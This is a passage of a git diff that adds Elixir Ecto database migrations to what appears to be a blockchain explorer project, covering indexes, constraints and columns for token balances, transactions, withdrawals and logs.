drop_if_exists( + unique_index( + :address_token_balances, + ~w(address_hash token_contract_address_hash block_number)a, + name: :unfetched_token_balances, + where: "value_fetched_at IS NULL and token_id IS NULL" + ) + ) + + drop_if_exists( + unique_index( + :address_token_balances, + ~w(address_hash token_contract_address_hash token_id block_number)a, + name: :unfetched_token_balances_with_token_id, + where: "value_fetched_at IS NULL and token_id IS NOT NULL" + ) + ) + + create_if_not_exists( + unique_index( + :address_token_balances, + [:address_hash, :token_contract_address_hash, "COALESCE(token_id, -1)", :block_number], + name: :unfetched_token_balances, + where: "value_fetched_at IS NULL" + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20221117080657_modify_address_current_token_balances_indexes.exs b/apps/explorer/priv/repo/migrations/20221117080657_modify_address_current_token_balances_indexes.exs new file mode 100644 index 000000000000..295a7a5c3f15 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221117080657_modify_address_current_token_balances_indexes.exs @@ -0,0 +1,31 @@ +defmodule Explorer.Repo.Migrations.ModifyAddressCurrentTokenBalancesIndexes do + use Ecto.Migration + + def change do + drop_if_exists( + unique_index( + :address_current_token_balances, + ~w(address_hash token_contract_address_hash)a, + name: :fetched_current_token_balances, + where: "token_id IS NULL" + ) + ) + + drop_if_exists( + unique_index( + :address_current_token_balances, + ~w(address_hash token_contract_address_hash token_id)a, + name: :fetched_current_token_balances_with_token_id, + where: "token_id IS NOT NULL" + ) + ) + + create_if_not_exists( + unique_index( + :address_current_token_balances, + [:address_hash, :token_contract_address_hash, "COALESCE(token_id, -1)"], + name: :fetched_current_token_balances + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20221120184715_add_json_compiler_settings.exs b/apps/explorer/priv/repo/migrations/20221120184715_add_json_compiler_settings.exs new file mode 100644 index 000000000000..e6f90d78648a --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221120184715_add_json_compiler_settings.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddJsonCompilerSettings do + use Ecto.Migration + + def change do + alter table(:smart_contracts) do + add(:compiler_settings, :jsonb, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20221125074820_drop_required_output_constraint.exs b/apps/explorer/priv/repo/migrations/20221125074820_drop_required_output_constraint.exs new file mode 100644 index 000000000000..a524af715fc0 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221125074820_drop_required_output_constraint.exs @@ -0,0 +1,31 @@ +defmodule Explorer.Repo.Migrations.DropRequiredOutputConstraint do + use Ecto.Migration + + def change do + drop( + constraint( + :internal_transactions, + :call_has_error_or_result, + check: """ + type != 'call' OR + (gas IS NOT NULL AND + ((error IS NULL AND gas_used IS NOT NULL and output IS NOT NULL) OR + (error IS NOT NULL AND gas_used IS NULL and output is NULL))) + """ + ) + ) + + create( + constraint( + :internal_transactions, + :call_has_error_or_result, + check: """ + type != 'call' OR + (gas IS NOT NULL AND + ((error IS NULL AND gas_used IS NOT NULL AND output IS NOT NULL) OR + (error IS NOT NULL AND output is NULL))) + """ + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20221126103223_add_transactions_indexes.exs b/apps/explorer/priv/repo/migrations/20221126103223_add_transactions_indexes.exs new file mode 100644 index 000000000000..9cc38fb2e7aa --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221126103223_add_transactions_indexes.exs @@ -0,0 +1,73 @@ +defmodule Explorer.Repo.Migrations.AddTransactionsIndexes do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + drop_if_exists( + index( + :transactions, + [:from_address_hash, "block_number DESC NULLS FIRST", "index DESC NULLS FIRST", :hash], + name: "transactions_from_address_hash_recent_collated_index", + concurrently: true + ) + ) + + drop_if_exists( + index( + :transactions, + [:to_address_hash, "block_number DESC NULLS FIRST", "index DESC NULLS FIRST", :hash], + name: "transactions_to_address_hash_recent_collated_index", + concurrently: true + ) + ) + + drop_if_exists( + index( + :transactions, + [:created_contract_address_hash, "block_number DESC NULLS FIRST", "index DESC NULLS FIRST", :hash], + name: "transactions_created_contract_address_hash_recent_collated_index", + concurrently: true + ) + ) + + create_if_not_exists( + index( + :transactions, + [ + :from_address_hash, + "block_number DESC NULLS FIRST", + "index DESC NULLS FIRST", + "inserted_at DESC", + "hash ASC" + ], + name: "transactions_from_address_hash_with_pending_index", + concurrently: true + ) + ) + + create_if_not_exists( + index( + :transactions, + [:to_address_hash, "block_number DESC NULLS FIRST", "index DESC NULLS FIRST", "inserted_at DESC", "hash ASC"], + name: "transactions_to_address_hash_with_pending_index", + concurrently: true + ) + ) + + create_if_not_exists( + index( + :transactions, + [ + :created_contract_address_hash, + "block_number DESC NULLS FIRST", + "index DESC NULLS FIRST", + "inserted_at DESC", + "hash ASC" + ], + name: "transactions_created_contract_address_hash_with_pending_index", + concurrently: true + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20221209123459_drop_unfetched_token_balances_index.exs b/apps/explorer/priv/repo/migrations/20221209123459_drop_unfetched_token_balances_index.exs new file mode 100644 index 000000000000..c4e89981297b --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221209123459_drop_unfetched_token_balances_index.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Migrations.DropUnfetchedTokenBalancesIndex do + use Ecto.Migration + + def change do + drop_if_exists( + unique_index( + :address_token_balances, + [:address_hash, :token_contract_address_hash, "COALESCE(token_id, -1)", :block_number], + name: :unfetched_token_balances, + where: "value_fetched_at IS NULL" + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20221212093406_change_index_for_pending_block_operations.exs b/apps/explorer/priv/repo/migrations/20221212093406_change_index_for_pending_block_operations.exs new file mode 100644 index 000000000000..550c6ce2b288 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221212093406_change_index_for_pending_block_operations.exs @@ -0,0 +1,18 @@ +defmodule Explorer.Repo.Migrations.ChangeIndexForPendingBlockOperations do + use Ecto.Migration + + def change do + drop_if_exists( + index( + :pending_block_operations, + [:block_hash], + name: "pending_block_operations_block_hash_index_partial", + where: ~s("fetch_internal_transactions") + ) + ) + + alter table(:pending_block_operations) do + remove(:fetch_internal_transactions) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20221219151744_create_missing_block_ranges.exs b/apps/explorer/priv/repo/migrations/20221219151744_create_missing_block_ranges.exs new file mode 100644 index 000000000000..2f61a85162d8 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221219151744_create_missing_block_ranges.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.Migrations.CreateMissingBlockRanges do + use Ecto.Migration + + def change do + create table(:missing_block_ranges) do + add(:from_number, :integer) + add(:to_number, :integer) + end + + create(index(:missing_block_ranges, ["from_number DESC"])) + create(unique_index(:missing_block_ranges, [:from_number, :to_number])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20221223151234_add_block_number_to_pending_block_operations.exs b/apps/explorer/priv/repo/migrations/20221223151234_add_block_number_to_pending_block_operations.exs new file mode 100644 index 000000000000..85229ecd2e7b --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221223151234_add_block_number_to_pending_block_operations.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddBlockNumberToPendingBlockOperations do + use Ecto.Migration + + def change do + alter table(:pending_block_operations) do + add(:block_number, :integer) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20221223214711_create_withdrawals.exs b/apps/explorer/priv/repo/migrations/20221223214711_create_withdrawals.exs new file mode 100644 index 000000000000..407fc4ddc313 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20221223214711_create_withdrawals.exs @@ -0,0 +1,19 @@ +defmodule Explorer.Repo.Migrations.CreateWithdrawals do + use Ecto.Migration + + def change do + create table(:withdrawals, primary_key: false) do + add(:index, :integer, null: false, primary_key: true) + add(:validator_index, :integer, null: false) + add(:amount, :numeric, precision: 100, null: false) + + timestamps(null: false, type: :utc_datetime_usec) + + add(:address_hash, references(:addresses, column: :hash, on_delete: :delete_all, type: :bytea), null: false) + add(:block_hash, references(:blocks, column: :hash, on_delete: :delete_all, type: :bytea), null: false) + end + + create(index(:withdrawals, [:address_hash])) + create(index(:withdrawals, [:block_hash])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20230126205627_add_fiat_value_and_circulating_market_cap_for_tokens.exs b/apps/explorer/priv/repo/migrations/20230126205627_add_fiat_value_and_circulating_market_cap_for_tokens.exs new file mode 100644 index 000000000000..1b8887ada940 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230126205627_add_fiat_value_and_circulating_market_cap_for_tokens.exs @@ -0,0 +1,10 @@ +defmodule Explorer.Repo.Migrations.AddFiatValueAndCirculatingMarketCapForTokens do + use Ecto.Migration + + def change do + alter table(:tokens) do + add(:fiat_value, :decimal) + add(:circulating_market_cap, :decimal) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20230214104917_add_validators_and_constants_tables.exs b/apps/explorer/priv/repo/migrations/20230214104917_add_validators_and_constants_tables.exs new file mode 100644 index 000000000000..95cce03e9fdf --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230214104917_add_validators_and_constants_tables.exs @@ -0,0 +1,21 @@ +defmodule Explorer.Repo.Migrations.AddValidatorsAndConstantsTables do + use Ecto.Migration + + def change do + create table(:constants, primary_key: false) do + add(:key, :string, primary_key: true, null: false) + add(:value, :string) + + timestamps() + end + + create table(:validators, primary_key: false) do + add(:address_hash, :bytea, primary_key: true, null: false) + add(:is_validator, :boolean) + add(:payout_key_hash, :bytea) + add(:info_updated_at_block, :bigint) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20230217095226_add_total_supply_updated_at_block.exs b/apps/explorer/priv/repo/migrations/20230217095226_add_total_supply_updated_at_block.exs new file mode 100644 index 000000000000..5221ee3b3d71 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230217095226_add_total_supply_updated_at_block.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddTotalSupplyUpdatedAtBlock do + use Ecto.Migration + + def change do + alter table(:tokens) do + add(:total_supply_updated_at_block, :bigint) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20230328100414_add_transaction_action_types.exs b/apps/explorer/priv/repo/migrations/20230328100414_add_transaction_action_types.exs new file mode 100644 index 000000000000..bb18503d152c --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230328100414_add_transaction_action_types.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Migrations.AddTransactionActionTypes do + use Ecto.Migration + + def change do + execute("ALTER TYPE transaction_actions_protocol ADD VALUE 'aave_v3'") + execute("ALTER TYPE transaction_actions_type ADD VALUE 'borrow'") + execute("ALTER TYPE transaction_actions_type ADD VALUE 'supply'") + execute("ALTER TYPE transaction_actions_type ADD VALUE 'repay'") + execute("ALTER TYPE transaction_actions_type ADD VALUE 'flash_loan'") + execute("ALTER TYPE transaction_actions_type ADD VALUE 'enable_collateral'") + execute("ALTER TYPE transaction_actions_type ADD VALUE 'disable_collateral'") + execute("ALTER TYPE transaction_actions_type ADD VALUE 'liquidation_call'") + end +end diff --git a/apps/explorer/priv/repo/migrations/20230417093914_allow_nil_transaction_gas_price.exs b/apps/explorer/priv/repo/migrations/20230417093914_allow_nil_transaction_gas_price.exs new file mode 100644 index 000000000000..14dbd678fe48 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230417093914_allow_nil_transaction_gas_price.exs @@ -0,0 +1,17 @@ +defmodule Explorer.Repo.Migrations.AllowNilTransactionGasPrice do + use Ecto.Migration + + def change do + alter table(:transactions) do + modify(:gas_price, :numeric, precision: 100, null: true) + end + + create( + constraint( + :transactions, + :collated_gas_price, + check: "block_hash IS NULL OR gas_price IS NOT NULL" + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20230425185941_add_token_icon_url.exs b/apps/explorer/priv/repo/migrations/20230425185941_add_token_icon_url.exs new file mode 100644 index 000000000000..88e72b7fb209 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230425185941_add_token_icon_url.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddTokenIconUrl do + use Ecto.Migration + + def change do + alter table(:tokens) do + add(:icon_url, :string, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20230522130735_withdrawals_gwei_amount_to_wei_amount.exs b/apps/explorer/priv/repo/migrations/20230522130735_withdrawals_gwei_amount_to_wei_amount.exs new file mode 100644 index 000000000000..e18bf417516e --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230522130735_withdrawals_gwei_amount_to_wei_amount.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.WithdrawalsGweiAmountToWeiAmount do + use Ecto.Migration + + def change do + execute("UPDATE withdrawals SET amount = amount * 1000000000") + end +end diff --git a/apps/explorer/priv/repo/migrations/20230530074105_market_history_add_market_cap.exs b/apps/explorer/priv/repo/migrations/20230530074105_market_history_add_market_cap.exs new file mode 100644 index 000000000000..b0ddaca92c21 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230530074105_market_history_add_market_cap.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.MarketHistoryAddMarketCap do + use Ecto.Migration + + def change do + alter table(:market_history) do + add(:market_cap, :decimal) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20230605080138_add_verified_via_eth_bytecode_db.exs b/apps/explorer/priv/repo/migrations/20230605080138_add_verified_via_eth_bytecode_db.exs new file mode 100644 index 000000000000..9cef42d46938 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230605080138_add_verified_via_eth_bytecode_db.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddVerifiedViaEthBytecodeDb do + use Ecto.Migration + + def change do + alter table(:smart_contracts) do + add(:verified_via_eth_bytecode_db, :boolean, null: true) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20230606091935_fix_contract_creation_transactions.exs b/apps/explorer/priv/repo/migrations/20230606091935_fix_contract_creation_transactions.exs new file mode 100644 index 000000000000..86a088ae50b7 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230606091935_fix_contract_creation_transactions.exs @@ -0,0 +1,18 @@ +defmodule Explorer.Repo.Migrations.FixContractCreationTransactions do + use Ecto.Migration + + def change do + execute(""" + UPDATE addresses a + SET contract_code = NULL + FROM transactions t + WHERE t.created_contract_address_hash IS NOT NULL AND t.created_contract_address_hash = a.hash AND t.to_address_hash IS NOT NULL; + """) + + execute(""" + UPDATE transactions + SET created_contract_address_hash = NULL + WHERE created_contract_address_hash IS NOT NULL AND to_address_hash IS NOT NULL; + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20230613181244_address_coin_balances_block_number_index.exs b/apps/explorer/priv/repo/migrations/20230613181244_address_coin_balances_block_number_index.exs new file mode 100644 index 000000000000..f50a577455a3 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230613181244_address_coin_balances_block_number_index.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Migrations.AddressCoinBalancesBlockNumberIndex do + use Ecto.Migration + + def up do + create(index(:address_coin_balances, [:block_number])) + end + + def down do + drop(index(:address_coin_balances, [:block_number])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20230615130940_add_blocks_date_index.exs b/apps/explorer/priv/repo/migrations/20230615130940_add_blocks_date_index.exs new file mode 100644 index 000000000000..c0b415d676e4 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230615130940_add_blocks_date_index.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Migrations.AddBlocksDateIndex do + use Ecto.Migration + + def up do + execute("CREATE INDEX IF NOT EXISTS blocks_date ON blocks(date(timestamp), number);") + end + + def down do + execute("DROP INDEX IF EXISTS blocks_date;") + end +end diff --git a/apps/explorer/priv/repo/migrations/20230719160318_delete_erc_1155_tt_with_empty_token_ids.exs b/apps/explorer/priv/repo/migrations/20230719160318_delete_erc_1155_tt_with_empty_token_ids.exs new file mode 100644 index 000000000000..190fdf8e8023 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230719160318_delete_erc_1155_tt_with_empty_token_ids.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.DeleteErc1155TtWithEmptyTokenIds do + use Ecto.Migration + + def change do + execute(""" + DELETE from token_transfers USING tokens WHERE token_transfers.token_contract_address_hash = tokens.contract_address_hash AND tokens.type = 'ERC-1155' AND (token_transfers.token_ids IS NULL OR ARRAY_LENGTH(token_transfers.token_ids, 1) = 0) ; + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20230809134253_add_is_verified_via_admin_panel.exs b/apps/explorer/priv/repo/migrations/20230809134253_add_is_verified_via_admin_panel.exs new file mode 100644 index 000000000000..1cfa57cb6fca --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230809134253_add_is_verified_via_admin_panel.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddIsVerifiedViaAdminPanel do + use Ecto.Migration + + def change do + alter table(:tokens) do + add(:is_verified_via_admin_panel, :boolean, null: true, default: false) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20230815131151_drop_logs_address_hash_foreign_key.exs b/apps/explorer/priv/repo/migrations/20230815131151_drop_logs_address_hash_foreign_key.exs new file mode 100644 index 000000000000..350c8a3a85ca --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230815131151_drop_logs_address_hash_foreign_key.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.DropLogsAddressHashForeignKey do + use Ecto.Migration + + def change do + drop_if_exists(constraint(:logs, :logs_address_hash_fkey)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20230816061723_drop_token_transfers_and_transactions_address_foreign_key.exs b/apps/explorer/priv/repo/migrations/20230816061723_drop_token_transfers_and_transactions_address_foreign_key.exs new file mode 100644 index 000000000000..f5a1ef465fc5 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230816061723_drop_token_transfers_and_transactions_address_foreign_key.exs @@ -0,0 +1,12 @@ +defmodule Explorer.Repo.Migrations.DropTokenTransfersAndTransactionsAddressForeignKey do + use Ecto.Migration + + def change do + drop_if_exists(constraint(:token_transfers, :token_transfers_from_address_hash_fkey)) + drop_if_exists(constraint(:token_transfers, :token_transfers_to_address_hash_fkey)) + drop_if_exists(constraint(:token_transfers, :token_transfers_token_contract_address_hash_fkey)) + drop_if_exists(constraint(:transactions, :transactions_created_contract_address_hash_fkey)) + drop_if_exists(constraint(:transactions, :transactions_from_address_hash_fkey)) + drop_if_exists(constraint(:transactions, :transactions_to_address_hash_fkey)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20230817061317_drop_address_foreign_keys.exs b/apps/explorer/priv/repo/migrations/20230817061317_drop_address_foreign_keys.exs new file mode 100644 index 000000000000..275e7172aa9a --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230817061317_drop_address_foreign_keys.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.Migrations.DropAddressForeignKeys do + use Ecto.Migration + + def change do + drop_if_exists(constraint(:address_coin_balances, :address_coin_balances_address_hash_fkey)) + drop_if_exists(constraint(:address_token_balances, :address_token_balances_address_hash_fkey)) + drop_if_exists(constraint(:address_current_token_balances, :address_current_token_balances_address_hash_fkey)) + drop_if_exists(constraint(:tokens, :tokens_contract_address_hash_fkey)) + drop_if_exists(constraint(:internal_transactions, :internal_transactions_created_contract_address_hash_fkey)) + drop_if_exists(constraint(:internal_transactions, :internal_transactions_from_address_hash_fkey)) + drop_if_exists(constraint(:internal_transactions, :internal_transactions_to_address_hash_fkey)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20230818094455_add_token_ids_to_address_token_balances.exs b/apps/explorer/priv/repo/migrations/20230818094455_add_token_ids_to_address_token_balances.exs new file mode 100644 index 000000000000..a141276ab529 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230818094455_add_token_ids_to_address_token_balances.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.Migrations.AddTokenIdsToAddressTokenBalances do + use Ecto.Migration + + def change do + alter table(:token_instances) do + add(:owner_address_hash, :bytea, null: true) + add(:owner_updated_at_block, :bigint, null: true) + add(:owner_updated_at_log_index, :integer, null: true) + end + + create(index(:token_instances, [:owner_address_hash])) + end +end diff --git a/apps/explorer/priv/repo/migrations/20230821120625_drop_rest_address_foreign_keys.exs b/apps/explorer/priv/repo/migrations/20230821120625_drop_rest_address_foreign_keys.exs new file mode 100644 index 000000000000..05d0afa05c28 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230821120625_drop_rest_address_foreign_keys.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.Migrations.DropRestAddressForeignKeys do + use Ecto.Migration + + def change do + drop_if_exists(constraint(:address_coin_balances_daily, :address_coin_balances_daily_address_hash_fkey)) + drop_if_exists(constraint(:address_to_tags, :address_to_tags_address_hash_fkey)) + drop_if_exists(constraint(:block_rewards, :block_rewards_address_hash_fkey)) + drop_if_exists(constraint(:decompiled_smart_contracts, :decompiled_smart_contracts_address_hash_fkey)) + drop_if_exists(constraint(:smart_contracts, :smart_contracts_address_hash_fkey)) + drop_if_exists(constraint(:withdrawals, :withdrawals_address_hash_fkey)) + drop_if_exists(constraint(:blocks, :blocks_miner_hash_fkey)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20230831122819_drop_current_token_balances_tokens_foreign_key.exs b/apps/explorer/priv/repo/migrations/20230831122819_drop_current_token_balances_tokens_foreign_key.exs new file mode 100644 index 000000000000..49f45e654f61 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230831122819_drop_current_token_balances_tokens_foreign_key.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.DropCurrentTokenBalancesTokensForeignKey do + use Ecto.Migration + + def change do + drop_if_exists( + constraint(:address_current_token_balances, :address_current_token_balances_token_contract_address_hash_fkey) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20230905085809_drop_token_balances_tokens_foreign_key.exs b/apps/explorer/priv/repo/migrations/20230905085809_drop_token_balances_tokens_foreign_key.exs new file mode 100644 index 000000000000..6af0d319b4af --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20230905085809_drop_token_balances_tokens_foreign_key.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.DropTokenBalancesTokensForeignKey do + use Ecto.Migration + + def change do + drop_if_exists(constraint(:address_token_balances, :address_token_balances_token_contract_address_hash_fkey)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20231003093553_add_tvl_to_market_history_table.exs b/apps/explorer/priv/repo/migrations/20231003093553_add_tvl_to_market_history_table.exs new file mode 100644 index 000000000000..5ff8dd795a3f --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231003093553_add_tvl_to_market_history_table.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Migrations.AddTvlToMarketHistoryTable do + use Ecto.Migration + + def change do + alter table(:market_history) do + add(:tvl, :decimal) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20231212101547_add_block_timestamp_and_consensus_to_transactions.exs b/apps/explorer/priv/repo/migrations/20231212101547_add_block_timestamp_and_consensus_to_transactions.exs new file mode 100644 index 000000000000..458e29604383 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231212101547_add_block_timestamp_and_consensus_to_transactions.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.Migrations.AddBlockTimestampAndConsensusToTransactions do + use Ecto.Migration + + def change do + alter table(:transactions) do + add_if_not_exists(:block_timestamp, :utc_datetime_usec) + add_if_not_exists(:block_consensus, :boolean, default: true) + end + + create_if_not_exists(index(:transactions, :block_timestamp)) + create_if_not_exists(index(:transactions, :block_consensus)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20231212102127_create_migrations_status.exs b/apps/explorer/priv/repo/migrations/20231212102127_create_migrations_status.exs new file mode 100644 index 000000000000..0b8bf54a5c3b --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231212102127_create_migrations_status.exs @@ -0,0 +1,12 @@ +defmodule Explorer.Repo.Migrations.CreateMigrationsStatus do + use Ecto.Migration + + def change do + create table(:migrations_status, primary_key: false) do + add(:migration_name, :string, primary_key: true) + add(:status, :string) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20231213085254_add_btree_gin_extension.exs b/apps/explorer/priv/repo/migrations/20231213085254_add_btree_gin_extension.exs new file mode 100644 index 000000000000..b34f9ee059cb --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231213085254_add_btree_gin_extension.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Migrations.CreateBtreeGinExtension do + use Ecto.Migration + + def up do + execute("CREATE EXTENSION IF NOT EXISTS btree_gin") + end + + def down do + execute("DROP EXTENSION IF EXISTS btree_gin") + end +end diff --git a/apps/explorer/priv/repo/migrations/20231213090140_add_token_transfers_token_contract_address_token_ids_index.exs b/apps/explorer/priv/repo/migrations/20231213090140_add_token_transfers_token_contract_address_token_ids_index.exs new file mode 100644 index 000000000000..7636fc7b3c2f --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231213090140_add_token_transfers_token_contract_address_token_ids_index.exs @@ -0,0 +1,26 @@ +defmodule Explorer.Repo.Migrations.AddTokenTransfersTokenContractAddressTokenIdsIndex do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def up do + create( + index( + :token_transfers, + [:token_contract_address_hash, :token_ids], + name: "token_transfers_token_contract_address_hash_token_ids_index", + using: "GIN", + concurrently: true + ) + ) + end + + def down do + drop_if_exists( + index(:token_transfers, [:token_contract_address_hash, :token_ids], + name: :token_transfers_token_contract_address_hash_token_ids_index + ), + concurrently: true + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20231213101235_drop_token_transfers_token_ids_index.exs b/apps/explorer/priv/repo/migrations/20231213101235_drop_token_transfers_token_ids_index.exs new file mode 100644 index 000000000000..0065d2e26312 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231213101235_drop_token_transfers_token_ids_index.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Migrations.DropTokenTransfersTokenIdsIndex do + use Ecto.Migration + + def change do + drop_if_exists(index(:token_transfers, [:token_ids], name: :token_transfers_token_ids_index)) + end +end diff --git a/apps/explorer/priv/repo/migrations/20231213152332_alter_log_topic_columns_type.exs b/apps/explorer/priv/repo/migrations/20231213152332_alter_log_topic_columns_type.exs new file mode 100644 index 000000000000..649c95d0dbf1 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231213152332_alter_log_topic_columns_type.exs @@ -0,0 +1,18 @@ +defmodule Explorer.Repo.Migrations.AlterLogTopicColumnsType do + use Ecto.Migration + + def change do + execute(""" + ALTER TABLE logs + ALTER COLUMN first_topic TYPE bytea + USING CAST(REPLACE(first_topic, '0x', '\\x') as bytea), + ALTER COLUMN second_topic TYPE bytea + USING CAST(REPLACE(second_topic, '0x', '\\x') as bytea), + ALTER COLUMN third_topic TYPE bytea + USING CAST(REPLACE(third_topic, '0x', '\\x') as bytea), + ALTER COLUMN fourth_topic TYPE bytea + USING CAST(REPLACE(fourth_topic, '0x', '\\x') as bytea) + ; + """) + end +end diff --git a/apps/explorer/priv/repo/migrations/20231215094615_drop_token_transfers_token_id_column.exs b/apps/explorer/priv/repo/migrations/20231215094615_drop_token_transfers_token_id_column.exs new file mode 100644 index 000000000000..df8637071b31 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231215094615_drop_token_transfers_token_id_column.exs @@ -0,0 +1,12 @@ +defmodule Explorer.Repo.Migrations.DropTokenTransfersTokenIdColumn do + use Ecto.Migration + + def change do + drop(index(:token_transfers, [:token_id])) + drop(index(:token_transfers, [:token_contract_address_hash, "token_id DESC", "block_number DESC"])) + + alter table(:token_transfers) do + remove(:token_id) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20231215104320_drop_unused_actb_indexes.exs b/apps/explorer/priv/repo/migrations/20231215104320_drop_unused_actb_indexes.exs new file mode 100644 index 000000000000..0f8ad39f3bc0 --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231215104320_drop_unused_actb_indexes.exs @@ -0,0 +1,21 @@ +defmodule Explorer.Repo.Migrations.DropUnusedActbIndexes do + use Ecto.Migration + + def change do + drop( + index( + :address_current_token_balances, + [:value], + name: :address_current_token_balances_value, + where: "value IS NOT NULL" + ) + ) + + drop( + index( + :address_current_token_balances, + [:address_hash, :block_number, :token_contract_address_hash] + ) + ) + end +end diff --git a/apps/explorer/priv/repo/migrations/20231215115638_drop_unused_logs_type_index.exs b/apps/explorer/priv/repo/migrations/20231215115638_drop_unused_logs_type_index.exs new file mode 100644 index 000000000000..fc7df4ddce8c --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231215115638_drop_unused_logs_type_index.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Migrations.DropUnusedLogsTypeIndex do + use Ecto.Migration + + def change do + drop(index(:logs, [:type], name: :logs_type_index)) + + alter table(:logs) do + remove(:type) + end + end +end diff --git a/apps/explorer/priv/repo/migrations/20231215132609_add_index_blocks_refetch_needed.exs b/apps/explorer/priv/repo/migrations/20231215132609_add_index_blocks_refetch_needed.exs new file mode 100644 index 000000000000..aef72e5ed81c --- /dev/null +++ b/apps/explorer/priv/repo/migrations/20231215132609_add_index_blocks_refetch_needed.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.Migrations.AddIndexBlocksRefetchNeeded do + use Ecto.Migration + + def up do + execute(""" + CREATE INDEX consensus_block_hashes_refetch_needed ON blocks(hash) WHERE consensus and refetch_needed; + """) + end + + def down do + execute(""" + DROP INDEX 